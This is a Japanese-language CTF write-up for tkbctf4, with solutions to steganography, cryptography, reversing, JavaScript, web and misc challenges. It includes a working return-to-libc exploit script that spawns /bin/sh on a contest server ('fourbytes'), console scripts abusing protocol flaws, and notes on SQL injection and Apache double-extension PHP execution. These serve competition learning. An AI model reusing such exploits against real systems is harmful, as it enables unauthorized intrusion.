monochrome bar (steganography 100)

1. 画像ファイルだったので、とりあえずphotoshopで開いてみた。

2. 開いてみると、怪しい空白と黒い点が。

3. 拡大してみてみると、どーうも怪しい。

4. 横のピクセル数を見て確信。

5. 270pxごとに切って縦につないでみる

   1 require 'RMagick'
   2 
   3 filename = ""
   4 src = Magick::Image.read(filename).first
   5 imglist = Magick::ImageList.new
   6 for i in 0..269 do
   7 imglist << src.crop(270*i,0,270,1)
   8 end
   9 cat = imglist.append(true)
  10 cat.write("edit_" + filename)

6. やっぱりこいつだったか

7. あとは修正するところを修正して読み取るだけです。

rcrypto (cryptography 200)

encrypt.pyはflag * (flag + tkbctf[0]) % N及びflag * (flag + tkbctf[1]) % Nを出力する。

flagに関して知ることは出来ないが、tkbctfは実際に生成部を実行することで取得出来る。

$ python
>>> import struct
>>> struct.unpack('<2I', 'tkbctf4\0')
(1667394420, 3434100)

2つの出力の差を考えると、flag * (tkbctf[0] - tkbctf[1]) % Nになるため、これに(tkbctf[0] - tkbctf[1]のmod Nにおける逆数を書けるとフラグを復元出来る。

$ gp
? n = Mod(1,25946495250192522047576724511816819759544198048953915995733684949549494827910738050623246897611498241348117781192973416882683927675203016916787056490077799743127524408790979660707704232472351148473764416886881020773481071252863645514573241144492769950926006958612979716016471041875737797336676606168731806362829973930887569121612066003113606576944978373664046398235489658440466297946801827709346404779321914934204023234420152449441680689637366210872452878668055446377201346707149889555295348112732562435803363609530404732421993373521081751061496986978105660905458444206478770727089084410107781991574247759682791306197)
? output1 = n * 2302864379938375384787522457289953058762346515694717964988017701221632252068998721016780659512789645178039929483162432085291148128875938650563974652974607897108753247761759018159346471819526717450317624121005691577913298753406802656066710989103644069541226797561238591832001786871030959032526532824897381416113004865029523158041337929652792421367459253385313006702525506606665513325657107841851439410104118856833250549528309345600994438901026890993789031255524302387252820866177521016309668779564405438776186649089481716393902512049059686799788362854701624870108840227739233423565617147635810535089953364777452765391
? output2 = n * 869821841437664579273841208702057334636310328092375384661895122870843280009327763942775667106913326453781559554453279690395959752854296081023254897131426262762124201024166059200347755016000992120349762030587256929453375758557293418778029046615012379759165445526510048231152939113590563355048407714266168812177988203610092674509339069396233061882191910214456155546393848777696938097852335164090584476493820466258280954729469300306911409684786367255431603152145902151223834708442564731418184393252984714050882676106734102146980036229108895568198263271905480015122766218776429803994468521463000793677542363327966917714
? diff_tkbctf = (1667394420 - 3434100) * n
? (output1 - output2) / diff_tkbctf
%5 = Mod(8874284088105576854948238238614457044505028639011349374021861498995036023097152049555857239549350287166006347100199983957544356840501980854784901113821946197380611177705292212987004478484951309819182405098846767765333862409425926812573611864910204824928321142829182839508679805462040296761411851272619037561124670207800113160725445151643233355853069817035845548582628939322952705418085312089629008831113802005771457751200233715401850140367028206001736592528758851066145310031045563613680644635600425736132514865977264503188118025685603053077990165729300195014737832785024786331903041102248425142311946913492026078519, 25946495250192522047576724511816819759544198048953915995733684949549494827910738050623246897611498241348117781192973416882683927675203016916787056490077799743127524408790979660707704232472351148473764416886881020773481071252863645514573241144492769950926006958612979716016471041875737797336676606168731806362829973930887569121612066003113606576944978373664046398235489658440466297946801827709346404779321914934204023234420152449441680689637366210872452878668055446377201346707149889555295348112732562435803363609530404732421993373521081751061496986978105660905458444206478770727089084410107781991574247759682791306197)
? quit

$ pry
[1] pry(main)> [8874284088105576854948238238614457044505028639011349374021861498995036023097152049555857239549350287166006347100199983957544356840501980854784901113821946197380611177705292212987004478484951309819182405098846767765333862409425926812573611864910204824928321142829182839508679805462040296761411851272619037561124670207800113160725445151643233355853069817035845548582628939322952705418085312089629008831113802005771457751200233715401850140367028206001736592528758851066145310031045563613680644635600425736132514865977264503188118025685603053077990165729300195014737832785024786331903041102248425142311946913492026078519.to_s(16)].pack("H*")
=> "FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}FLAG{R4b1n cryp705y57"

high-low (cryptography 400)

サーバと通信しながら，カードをシャッフルして，サーバが次のカードをコミットメントしながらゲームが進行していくのでサーバもずるができない的問題。

なのだがサーバの秘密鍵がroom.keyに入ってしまっている。nextでc_cardが手に入る。 c_card[1]^(1/room.key)でm_card[1]が手に入るのでそれを用いて次のカードを特定する。

FirefoxでCtrl-Shift-Kでコンソールを開いて以下を実行

   1 setInterval(function(){ (room.drawn[room.drawn.length-1] < get_card([me.c_card[0], me.c_card[1].modPow(me.key.modInverse(room.q), room.p).modPow(room.key.modInverse(room.q), room.p)], room.x, room.p) ? $("[value=high]"): $("[value=low]")).click(); }, 1000 )

Congratulations! FLAG{0n30fTh3B3st!sWh4t?}

high-low2 (cryptography 400)

実はhigh-lowにサーバの鍵が含まれていたのは出題ミスだったらしい。そういうわけで急遽湧いてきたらしい本来のhigh-lowである2問目。

proof/verify部分はほとんど対称な処理をしているように見えたので挙動の検討がついたのだが，shuffle部分については把握できなかった。処理が長くて面倒だったのもあるがサーバ側の挙動が隠れているのも一因である。 実際のところはshuffleこそまったく対称な処理であり，後にプロトコルの解説を見ながら読んでみれば確かに対称な処理になっていることがわかった。コードの複雑さとメソッド名に惑わされた。

脆弱性はproof/verifyの方だろうと当たりをつけて(数式の上で)何か悪さができないか考えていたが，時間内には解けなかった。

終了後に次の文献を参考にしながら読んだ。

• MentalPoker - A TTP-free mental poker protocol achieving player confidentiality - Qiita

  • via わふぅ。 • tkbctf4 参加記

• 元論文: http://www.tdx.cat/bitstream/handle/10803/5804/jcr1de1.pdf

一点気になるところがあるものの，ほぼ論文のプロトコルに忠実に実装されているように見える。

• init2で$C_0$を受け取り
• shffle1と，shuffle2の送信までが自分のProtocol 48
• shuffle2の受信とshuffle3が相手のProtocol 48
• prove1と，prove2の送信までがProtocol 49
• prove2の受信とverifyがProtocol 50

つまり，二人でシャッフルし合い，以下を繰り返す

1. サーバ側がカードをドロー (ただしまだ中身を見ない)
2. クライアント側はhigh/lowを宣言
3. サーバ側のカードドローの続き (サーバが中身を見る)
4. サーバ側がカードを公開

$C_i$の送信タイミングがProtocol 47に書いてあるよりも早いが，$C_i$を知っていたとしても$u$(プログラム上のm)の選択に影響を与えるとは思えない。

ふと思いついて，非正規の順序でリクエストを発行したところ，フライングでverifyリクエストを送ってもエラーを返さないことに気づいた。 つまり，サーバ側のstate管理に問題があり，verifyリクエストがchoiceの前に実行できるようになってしまっている。 よって選ぶ前にverify2の返信，m_cardを入手できてしまう。これにより，次のカードを決定できる。ただしverifyリクエストによってサーバ側の持つカードの集合からドローしたカードが取り除かれるため，二回呼ぶとエラーになることに注意する。

main.jsのplay関数を差し替える(Fiddler利用)。cp_proofによってverifyリクエストが発行されるので，それを除去する。

   1 function play (me, room) {
   2     return room.drawn.length < numbers.cards ?
   3             next(me, room).then(choose)
   4                           .then(function (c_card, me, room) {
   5                             return cp_verify(me.m1_card, me.m2_card, me, room);
   6                           })
   7                           .then(check)
   8                           .then(change_ui, miss)
   9                           .then(play) : undefined;
  10 }

Firefoxのコンソール上で

   1 var solver = setInterval(function(){ 
   2     if (flag) { clearInterval(solver); return }
   3     cp_prove(me.c_card, me, room).done(function (c_card, m_card, me, room) {
   4         me.m1_card = c_card;
   5         me.m2_card = m_card;
   6         (room.drawn[room.drawn.length-1] < get_card(m_card, room.x, room.p) ? $("[value=high]"): $("[value=low]")).click()
   7     });
   8 }, 1000);

Congratulations! FLAG{R1ceSp1n5Th3W0rld!}

gradius (binary 100)

与えられたファイルを実行すると入力待ちとなり、入力すると数字と'wrong'という文字列が返却された。 いろいろ試していると、数字は先頭からの合っている文字列だろうと推測出来た。

$ ./gradius
> a
< 0
< wrong

$ ./gradius
> k
< 1
< wrong

プログラムを書いて先頭から1文字ずつ特定していった。

   1 require 'shellwords'
   2 r, cnt = '', 1
   3 while true
   4   (1..255).each do |i|
   5     ret = `echo #{Shellwords.escape(r + i.chr)} | ./gradius`
   6     unless /wrong/ =~ ret
   7       puts ret
   8       exit 0
   9     end
  10     if ret.split[0].to_i == cnt
  11       r += i.chr
  12       p r
  13       cnt += 1
  14     end
  15   end
  16 end

$ ruby solve.rb
"k"
"kk"
"kkj"
"kkjj"
"kkjjh"
"kkjjhl"
"kkjjhlh"
"kkjjhlhl"
"kkjjhlhlb"
FLAG{!!D4GG3R!!}

↑↑↓↓←→←→BA

Simple Serial Code (binary 200)

SimpleSericalCode.exeに対してfileコマンドを用いた所、x86 Mono Assemblyだと特定できたため、ILSpyを用いて逆コンパイルした。（MonoDevelopだと逆コンパイル時にフリーズした)

逆コンパイルしたコードを読むと、引数である32文字のシリアルを4文字毎に区切り、各4文字の文字列のMD5ダイジェスト(16進数)の先頭4文字を取り出し結合して32文字にしたものとMD5("this_is_not_flag!!")が等しいかを判定している。

したがって、md5(<4文字の文字列>)[0,4]のテーブルを作ることでシリアルは用意に復元出来る。

4文字の文字列からどのようなmd5が生成されるかのリストを次のプログラムを用いて生成した。

   1 import std.digest.md;
   2 import std.uni;
   3 import std.conv;
   4 import std.stdio;
   5 
   6 string s = "abcdefABCDEFghijkmnopqrstuvwxyz";
   7 
   8 void main() {
   9   foreach(char c1; s) {
  10     foreach(char c2; s) {
  11       foreach(char c3; s) {
  12         foreach(char c4; s) {
  13           string cur = "" ~ c1 ~ c2 ~ c3 ~ c4;
  14           writeln(cur, " ", (md5Of(cur).toHexString[0..4]).to!string.toLower);
  15         }
  16       }
  17     }
  18   }
  19 }

$ rdmd list.d > md5s

次のプログラムを用いてシリアルを復元した。

   1 require 'digest/md5'
   2 @tbl = {}
   3 File.read('./md5s').split.each_slice(2) do |t, md5|
   4   @tbl[md5] = t
   5 end
   6 #
   7 digest = Digest::MD5.hexdigest('this_is_not_flag!!')
   8 digest.chars.each_slice(4).map(&:join).each do |t|
   9   print @tbl[t]
  10 end

$ ruby solve.rb
yvaDyxakxCffzzfuyqfrxxbixfvrzzCd

$ mono SimpleSerialCode.exe yvaDyxakxCffzzfuyqfrxxbixfvrzzCd
Congratulations!!
FLAG{06e57cb21b042c4d52a1e516b14cceae}

Just Do It ? (binary 200)

Windows x86-64バイナリ

後回しにして結局解かなかった。

Cheer of CPU (binary 300)

Swiftで書かれたバイナリであり、最初はMacOS上でも動作しなかった。 エラーメッセージを見るとXCode6がないとライブラリ不足で動作しないようなので、インストールしたがやはり起動せず。 エラーメッセージで検索すると、Yosemiteなら動くという話があったので、Yosemiteにアップグレードしたら動くようになった。

次に逆アセンブルを試みた。Mach-Oなのでmetasmやobjdump(on linux)で出来るかと思いきや、どちらも失敗し、最終的にMac上のgobjdumpで逆アセンブルすることが出来た。関数名が__TF      Ss7printlnU__FQ_T_$stubのように分かりにくいため、以下のプログラムを用いてdemangleを行なった。

   1 # need root
   2 require 'shellwords'
   3 hash = {}
   4 puts $<.read.gsub(/<(.+?)>/){
   5   f = $1
   6   next '<%s>' % hash[f] if hash[f]
   7   if f.end_with?('stub')
   8     '<' + `xcrun swift-demangle #{Shellwords.escape(f[0..-6])}`.split('-->', 2)[1].strip + '>'
   9   else
  10     '<%s>' % f
  11   end
  12 }

逆アセンブルを読むと、引数が2個より少なかった時の処理でメッセージを表示した後、exitを呼び出していることから、パスワードを間違えた時もexit(1)を呼び出してると推測した。 lldbを用いてexitにブレークポイントを仕掛けて実行することにした。

まず、引数にaを与えて実行した所、0x10001f73bでexitが呼び出された。直前の分岐にブレークポイントを貼って、rax, rsiの値の変化を確かめて、引数の長さが6かどうか判定している処理であることを特定した。

   10001f6ec:   48 39 f0                cmp    rax,rsi
   10001f6ef:   74 4f                   je     10001f740 <__mh_execute_header+0x1f740>
(なんらかの処理)
   10001f739:   89 c7                   mov    edi,eax
   10001f73b:   e8 60 25 00 00          call   100021ca0 <_exit> 

次に、引数にabcdefを与えて実行したところ、0x10001fbc0でexitが呼び出された。直前の分岐にブレークポイントを仕掛けた所、引数の文字と別の文字を比較している処理だということが分かったので、引数を1文字ずつ確定させていくことが出来た。

   10001fb71:   45 38 c8                cmp    r8b,r9b 
   10001fb74:   74 4f                   je     10001fbc5 <__mh_execute_header+0x1fbc5>
(なんらかの処理)
   10001fbc0:   e8 db 20 00 00          call   100021ca0 <_exit> # exit(-1)

出力結果をSHA256して、フラグを取得した。

$ ruby -rdigest/sha2 -e 'puts Digest::SHA256.hexdigest(`./cheer kogasa`.strip).downcase'

rakuda (binary 300)

OCamlっぽいx86 ELFバイナリ。解かなかった。

fourbytes (binary 500)

時間内に解けなかった。

5回じゃんけんに勝つと，メモリ上の実行可能領域に4bytesだけ任意の命令列を書き込んで実行できる。 じゃんけん部分はバッファに文字列を読み込んで，strtolで数値に変換して0,1,2で入力する形式になっている。 プログラムの手はrandom関数によって生成されるが，シードが時刻になっているため容易に推測が可能である。

return-to-libcによって攻略できると考えた。 具体的にはじゃんけんの最後の入力において，じゃんけんの入力の後にスタックに配置したい値をいれておく。 4bytesの命令列ではスタックポインタをバッファ上のエクスプロイトを配置した位置にずらして，retを実行する。スタックポインタの移動は256bytes内に納まれば，これらの命令列は合計4bytesちょうどで表現できる。 即ち，"\x83\xc4\x20\xc3" = add esp, 0x20; ret

スタック上には次のものを配置しておく。

0xf7e46101 ; systemの2命令目(文字列終端回避のためpush ebpをスキップ)
0xffffffff ; dummy (push ebp分)
0xffffffff ; dummy (return address分)
0xf7f67304 ; "/bin/sh"

作成したエクスプロイト

   1 import socket
   2 import subprocess
   3 from struct import pack
   4 import sys
   5 import time
   6 
   7 def get_random():
   8     p = subprocess.Popen(["./random", "0"], stdout=subprocess.PIPE)
   9     (stdoutdata, stderrdata) = p.communicate()
  10     return stdoutdata.split("\n")[:-1]
  11 
  12 def readline(f):
  13     s = f.readline()
  14     while "\n" not in s:
  15         t = f.readline()
  16         s += t
  17     return s
  18 
  19 # for libc6_2.19-0ubuntu6.3
  20 system = 0xf7579100
  21 delta = 0xf7f67304 - 0xf7e46100
  22 
  23 exploit = "";
  24 exploit += pack("I", system + 1);
  25 exploit += pack("I", 0xffffffff);
  26 exploit += pack("I", 0xffffffff);
  27 exploit += pack("I", system + delta);
  28 
  29 def try_pwn():
  30     try:
  31         print "----------------------------"
  32         r = get_random()
  33         sock = socket.create_connection(("203.178.132.117", 3939))
  34         f = sock.makefile()
  35         for i in range(4):
  36             f.write(str(r[i]) + "\n")
  37         f.write(str(r[4]) + "   " + exploit + "\n")
  38         f.write("\x83\xc4\x20\xc3\n")
  39         f.write("echo pwn!\nls\ncat flag\nexit\n")
  40         f.flush()
  41         time.sleep(0.1)
  42         s = f.read(2048)
  43         print s
  44         if "pwn" not in s:
  45             return False
  46         print "pwn!"
  47         return True
  48         f.close()
  49     except:
  50         pass
  51     finally:
  52         sock.close()
  53 
  54 for i in xrange(1024):
  55     print i
  56     if try_pwn():
  57         break

random.c

#include <stdlib.h>
int main(int ARGC, char **ARGV) {
  srandom(time(NULL) + atoi(ARGV[1]));
  for(int i =0 ; i < 5; i++) {
    printf("%d\n", (random() + 1) % 3);
  }
}

ASLRが有効になっているもののlibcの配置空間はそれほど広くないらしく，ローカルでは1000回に数回は成功する。

が，問題サーバに対して実行するとpwnが返ってこない。じゃんけん部分は10回に9回程度は通過しているのでそこが問題ではない。 手元の環境と問題サーバで何が違うのだろう……

ITF point system (web 300)

解けなかった。

最初の認証画面のようなものは実際に認証を行っているわけではないが，ユーザ名には/^[A-Za-z0-9._-]*+/の制限がかかっている。 ここで入力したユーザ名とパスワードに基づいて/db/ユーザ名@パスワードを元にしたなんかのハッシュ値.dbというファイル名でSQLite3データベースが作成される。 ログイン後は，名前とポイントをテーブルに追加する機能があるが，これは容易にSQLインジェクションを行うことが出来る。また，データベースファイルそのものをダウンロードする機能がある。 ダウンロードしたデータベースファイルにはpointというテーブルと追加したレコードが含まれるのみである。

sqlite> .schema
CREATE TABLE point (name TEXT UNIQUE, point INTEGER);

まず，ATTACH DATABASEすることを考えたが，複文クエリが実行されなかった。最初の文だけ実行されて，後ろの文は無視されてしまう。

a', 0); INSERT INTO point VALUES ('b', 1); -- 
→bがinsertされない

それならとユーザ名を操作してPHPスクリプトとして実行されるファイルを作成できないかと考える。 最初に気になるのは正規表現でやらかすお馴染みの改行で，実際，改行はバリデーションから漏れていた。

username=hoge%0a
→hoge[改行]@f5f6c975feaf37d67249eed6e487ee1d.dbの様なファイル名

ダウンロード時のリダイレクトは正常に動作しなくなるものの，特に利用できる脆弱性には繋がらなかった。

GNU/Linuxのファイル名には256文字制限があったりするので，長いユーザ名も試してみると，

• 220文字以上ではログイン時にServer error
• 212文字以上ではログイン後の画面が真っ白

となる。 220文字でエラーになるのは220+1+32+3=256よりファイル名が256文字以上となったためである。 212文字以上にした時には，データベースファイル自体は作られているが中身が空であった。SQLiteで開くときに失敗しているのではないだろうか。 いずれにしろ，これも利用できる脆弱性には繋がらなかった。

ついでに.htで始まるユーザを作成するとダウンロードできないデータベースファイルを作ることができた。やったね。

以上のような試行を経て結局，解くに至らなかったわけであるが，解説によるとファイル名を"〜.php.〜"の形にすれば良いらしい。何故試さなかったのか。 さて，ドキュメントを読んでみると確かにhttp://httpd.apache.org/docs/2.0/ja/mod/mod_mime.html#multipleextに複数拡張子が付いている時の挙動が書いてあり，テスト環境でAddHandler application/x-httpd-php .phpにしてtest.php.txtを開いたところ確かにPHPとして実行されてしまった。

なお，運用しているサーバの設定を確認したところ

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

のようにファイル名の末尾に.phpがあるときだけSetHandlerするように設定されていた。

rand (javascript 200)

libv8のd8が動いていて，任意のJavaScriptを実行できる。すでに定義済みの関数gの内部にあるフラグ文字列を取り出す問題。

主に夜間に作業した問題なので手元に環境を作るところから始まった。

g("throw getFlag")

を送信してフラグを得た。正攻法ではない気がする。

rand> g("throw getFlag")
undefined:1: function getFlag() {
    var FLAG = 'FLAG{7f94427ec6f49f70642d41c675b98832}';
    return floor(rand() * 100000) === 100000 ? FLAG : 'try again';
  }
throw getFlag

args (javascript 200)

argumentsには、calleeという関数自身を表すプロパティがある。参考: https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments

this.args(=arguments)をArray.prototype.sliceのthisに与えているので、sliceの中でthis.calleeを引数Trueで呼び出すように細工して、gを呼び出した。

args> Array.prototype.slice = function() { return [this.callee(true)]; }
function () { return [this.callee(true)]; }
args> g()
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args> ⏎

amida (misc 400)

黒丸を高さ470の所になるまで回転させ、位置を補正して、あみだくじをパースした。

本番中はフラグ2まで、終了後同じプログラムでフラグ3を、数行改変することでフラグ4を得ることが出来た。

   1 require_relative 'ctf'
   2 require 'RMagick'
   3 require 'base64'
   4 include Magick
   5 
   6 def common_stage(s, base64, n, w) 
   7   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
   8   img = ImageList.new('/tmp/tmp.png')
   9   mp = []
  10   (150...450).step(2).each.with_index do |y,i|
  11     mp <<= []
  12     (n - 1).times do |x|
  13       if img.pixel_color((x+1) * w + w / 2, y).red == 0
  14         mp[-1] << [x+1,x+2]
  15       end
  16     end
  17   end
  18   mp.delete_if {|a| a == [] }
  19   target = [*0...n].find{|i| img.pixel_color( ( i + 1 ) * w, 470).red == 0 }
  20   current = target + 1
  21   mp.reverse.each do |arr|
  22     arr.each do |x,y|
  23       if x == current
  24         current = y
  25       elsif y == current
  26         current = x
  27       end
  28     end
  29   end
  30   s.puts current
  31   s.puts
  32 end
  33 
  34 def common_stage2(s, base64, n) 
  35   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
  36   img = ImageList.new('/tmp/tmp.png')
  37   mp = []
  38   (150...450).each.with_index do |y,i|
  39     mp <<= []
  40     (n - 1).times do |x|
  41       if img.pixel_color((x+1) * 600 / (n + 1) + 1, y).red <= 3*257
  42         next if mp.size >= 2 && mp[-2].include?([x+1,x+2])
  43         mp[-1] << [x+1,x+2]
  44       end
  45     end
  46   end
  47   mp.delete_if {|a| a == [] }
  48   target = [*0...n].find{|i| img.pixel_color( 600 * ( i + 1 ) / (n + 1), 470).red == 0 }
  49   p mp
  50   current = target + 1
  51   mp.reverse.each do |arr|
  52     p current
  53     arr.each do |x,y|
  54       if x == current
  55         current = y
  56       elsif y == current
  57         current = x
  58       end
  59     end
  60   end
  61   s.puts current
  62   s.puts
  63 end
  64 
  65 require 'matrix'
  66 def common_stage3(s, filename, n) 
  67   def rotate(x,y,angle)
  68     y = 600 - y
  69     angle = -angle
  70     x,y = x - 300, y - 300
  71     nx = x * Math::cos(angle) - y * Math::sin(angle)
  72     ny = x * Math::sin(angle) + y * Math::cos(angle)
  73     return nx + 300, 600 - (ny + 300)
  74   end
  75   def dot(x1,y1,x2,y2)
  76     x1.to_f*x2.to_f+y1.to_f*y2.to_f
  77   end
  78   def norm(x,y)
  79     x * x.to_f + y * y.to_f
  80   end
  81   def projection(l, p)
  82     p l
  83     t = dot(p[0]-l[0][0],p[1]-l[0][1],l[1][0] - l[0][0], l[1][1] - l[0][1]) / norm(l[0][0] - l[1][0], l[0][1] - l[1][1])
  84     [l[0][0] + (l[1][0] - l[0][0]) * t, l[0][1] + (l[1][1] - l[0][1]) * t]
  85   end
  86   img = ImageList.new(filename)
  87   cx,cy=nil,nil
  88   img.rows.times do |y|
  89     break if cx
  90     img.columns.times do |x|
  91       next unless img.pixel_color(x,y).red == 0
  92       ok = true
  93       (-1..1).each do |dx|
  94         (-1..1).each do |dy|
  95           ok = false if img.pixel_color(x + dx * 5, y + dy * 5).red != 0
  96         end
  97       end
  98       if ok
  99         # found
 100         cx, cy = x,y
 101         break
 102       end
 103     end
 104   end
 105   p ["Circle:", cx, cy]
 106   r = Math::sqrt((300 - cx) ** 2 + (300 - cy) ** 2)
 107   angle = Math::atan2(-cy + 300, cx - 300) + Math::PI / 2
 108   angle2=nil
 109   if r >= 170
 110   angle2 = Math::atan2(Math::sqrt(r*r-170*170),170)
 111   else
 112     angle2 = 0
 113   end
 114   p angle / Math::PI * 180
 115   p angle / Math::PI * 180
 116   p rotate(cx,cy,angle)
 117   p 'rotate2'
 118   p (angle + angle2) / Math::PI * 180
 119   p rotate(cx,cy,angle + angle2)
 120   angle += angle2
 121   ys = [200, 250]
 122   xs = ys.map{|y| 
 123     img.columns.times.to_a.index do |x|
 124       img.pixel_color(*rotate(x,y,-angle)).red <= 127 * 257
 125     end
 126   }
 127   p xs
 128   dsum = if !xs[1] || !xs[0]
 129            9999999
 130          else
 131            wt = 600 / (n + 1)
 132            (xs[0] - wt).abs + (xs[1] - wt).abs
 133          end
 134   p 'next try'
 135   p (angle) / Math::PI * 180
 136   fxs = xs + []
 137   angle -= angle2 * 2
 138   xs = ys.map{|y| 
 139     img.columns.times.to_a.index do |x|
 140       img.pixel_color(*rotate(x,y,-angle)).red <= 127 * 257
 141     end
 142   }
 143   p xs
 144   qsum = if !xs[1] || !xs[0]
 145            9999999
 146          else
 147            wt = 600 / (n + 1)
 148            (xs[0] - wt).abs + (xs[1] - wt).abs
 149          end
 150   p ['first', dsum]
 151   p ['first', qsum]
 152   if dsum < qsum
 153     p 'use first'
 154     xs = fxs
 155     angle += angle2 * 2
 156   else
 157     p 'use second'
 158   end
 159 
 160   proj = projection([[xs[0], ys[0]], [xs[1], ys[1]]], [300,300])
 161   rotate = Math::atan2(proj[1] - 300, proj[0]- 300) + Math::PI# / Math::PI * 180
 162   angle-=rotate
 163   p angle / Math::PI * 180
 164   p rotate(cx,cy,angle)
 165   angle = -angle
 166   
 167   mp = []
 168   (150...450).each.with_index do |y,i|
 169     mp <<= []
 170     (n - 1).times do |x|
 171       if img.pixel_color(*rotate((x+1) * 600 / (n + 1) + 300 / (n + 1), y,angle)).red <= 127*257
 172         next if mp.size >= 2 && (
 173           mp[-2].include?([x+1,x+2]) || mp[-3].include?([x+1,x+2]) || mp[-4].include?([x+1,x+2])
 174         )
 175         mp[-1] << [x+1,x+2]
 176       end
 177     end
 178   end
 179   mp.delete_if {|a| a == [] }
 180   target = [*0...n].find{|i| img.pixel_color(*rotate( 600 * ( i + 1 ) / (n + 1), 470,angle)).red <= 10*257 }
 181   p mp
 182   current = target + 1
 183   mp.reverse.each do |arr|
 184     p current
 185     arr.each do |x,y|
 186       if x == current
 187         current = y
 188       elsif y == current
 189         current = x
 190       end
 191     end
 192   end
 193   s.puts current
 194   s.puts
 195 end
 196 
 197 def stage1(s, base64)
 198   common_stage(s, base64, 5, 100)
 199 end
 200 
 201 def stage2(s, base64)
 202   common_stage(s, base64, 6, 86)
 203 end
 204 
 205 def stage3(s, base64)
 206   common_stage(s, base64, 7, 75)
 207 end
 208 
 209 def stage4(s, base64)
 210   common_stage(s, base64, 8, 66)
 211 end
 212 
 213 def stage5(s, base64)
 214   common_stage2(s, base64, 4)
 215 end
 216 
 217 def stage6(s, base64)
 218   common_stage2(s, base64, 5)
 219 end
 220 
 221 def stage7(s, base64)
 222   common_stage2(s, base64, 6)
 223 end
 224 
 225 def stage8(s, base64)
 226   common_stage2(s, base64, 7)
 227 end
 228 
 229 
 230 def stage9(s, base64)
 231   common_stage2(s, base64, 8)
 232 end
 233 
 234 def stage10(s, base64)
 235   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 236   common_stage3(s, '/tmp/tmp.png', 4)
 237 end
 238 
 239 def stage11(s, base64)
 240   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 241   common_stage3(s, '/tmp/tmp.png', 5)
 242 end
 243 
 244 def stage12(s, base64)
 245   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 246   common_stage3(s, '/tmp/tmp.png', 6)
 247 end
 248 
 249 def stage13(s, base64)
 250   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 251   common_stage3(s, '/tmp/tmp.png', 7)
 252 end
 253 
 254 def stage14(s, base64)
 255   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 256   common_stage3(s, '/tmp/tmp.png', 8)
 257 end
 258 
 259 def stage15(s, base64)
 260   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 261   common_stage3(s, '/tmp/tmp.png', 4)
 262 end
 263 
 264 def stage16(s, base64)
 265   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 266   common_stage3(s, '/tmp/tmp.png', 5)
 267 end
 268 
 269 def stage17(s, base64)
 270   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 271   common_stage3(s, '/tmp/tmp.png', 6)
 272 end
 273 
 274 def stage18(s, base64)
 275   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 276   common_stage3(s, '/tmp/tmp.png', 7)
 277 end
 278 
 279 def stage19(s, base64)
 280   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 281   common_stage3(s, '/tmp/tmp.png', 8)
 282 end
 283 def stage20(s, base64)
 284   File.binwrite('/tmp/tmp.png', Base64.decode64(base64))
 285   common_stage3(s, '/tmp/tmp.png', 4)
 286 end
 287 
 288 def solve(sock, stage, base64)
 289   case stage
 290   when 1
 291     stage1(sock, base64)
 292   when 2
 293     stage2(sock, base64)
 294   when 3
 295     stage3(sock, base64)
 296   when 4
 297     stage4(sock, base64)
 298   when 5
 299     stage5(sock, base64)
 300   when 6
 301     stage6(sock, base64)
 302   when 7
 303     stage7(sock, base64)
 304   when 8
 305     stage8(sock, base64)
 306   when 9
 307     stage9(sock, base64)
 308   when 10
 309     stage10(sock, base64)
 310   when 11
 311     stage11(sock, base64)
 312   when 12
 313     stage12(sock, base64)
 314   when 13
 315     stage13(sock, base64)
 316   when 14
 317     stage14(sock, base64)
 318   when 15
 319     stage15(sock, base64)
 320   when 16
 321     stage16(sock, base64)
 322   when 17
 323     stage17(sock, base64)
 324   when 18
 325     stage18(sock, base64)
 326   when 19
 327     stage19(sock, base64)
 328   when 20
 329     stage20(sock, base64)
 330   end
 331 end
 332 
 333 TCPSocket.open('203.178.132.117', '42719') do |s|
 334   s.echo = true
 335   s.echo_color=  false
 336   stage = 0
 337   # 最初のメッセージ
 338   7.times{ s.gets }
 339   while $_ = s.gets
 340     if /^Stage #(\d+)/ =~ $_
 341       stage = $1.to_i
 342     elsif /^#(\d+)/ =~ $_
 343       p $1
 344       puts "Stage #{stage}: #{$1}"
 345       base64 = s.gets
 346       s.gets # Answer?
 347       solve(s,stage, base64)
 348     end
 349   end
 350 end